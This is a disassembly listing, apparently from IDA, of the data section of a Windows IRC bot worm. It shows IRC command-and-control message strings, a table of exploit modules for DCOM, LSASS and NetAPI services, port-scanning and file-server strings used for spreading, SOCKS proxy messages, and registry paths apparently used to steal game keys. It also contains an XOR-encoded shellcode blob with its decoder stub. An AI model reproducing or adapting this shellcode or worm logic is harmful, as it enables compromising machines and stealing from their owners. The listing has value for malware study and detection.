		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_4		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: _0:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------

loc_42AFA6:				; CODE XREF: _2:0042AF94j
		call	sub_42AF96

loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5341o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: sub_407D66+1AAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: sub_407D66+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_4081EF+1F9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_4081EF+18Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_4081EF+F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 43C80Ch,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 43C80Ch,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 43C80Ch,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 43C80Ch,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 43C80Ch,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 43C80Ch,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 43C80Ch,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 43C80Ch,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 43C80Ch,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 43C80Ch,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 43C80Ch,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	ds:byte_42C360[eax], al
		or	al, 0C8h
		inc	ebx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 43C80Ch,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 43C80Ch,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 43C80Ch,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 43C80Ch,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 43C80Ch,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 43C80Ch,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 43C80Ch,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 43C80Ch,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 43C80Ch,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
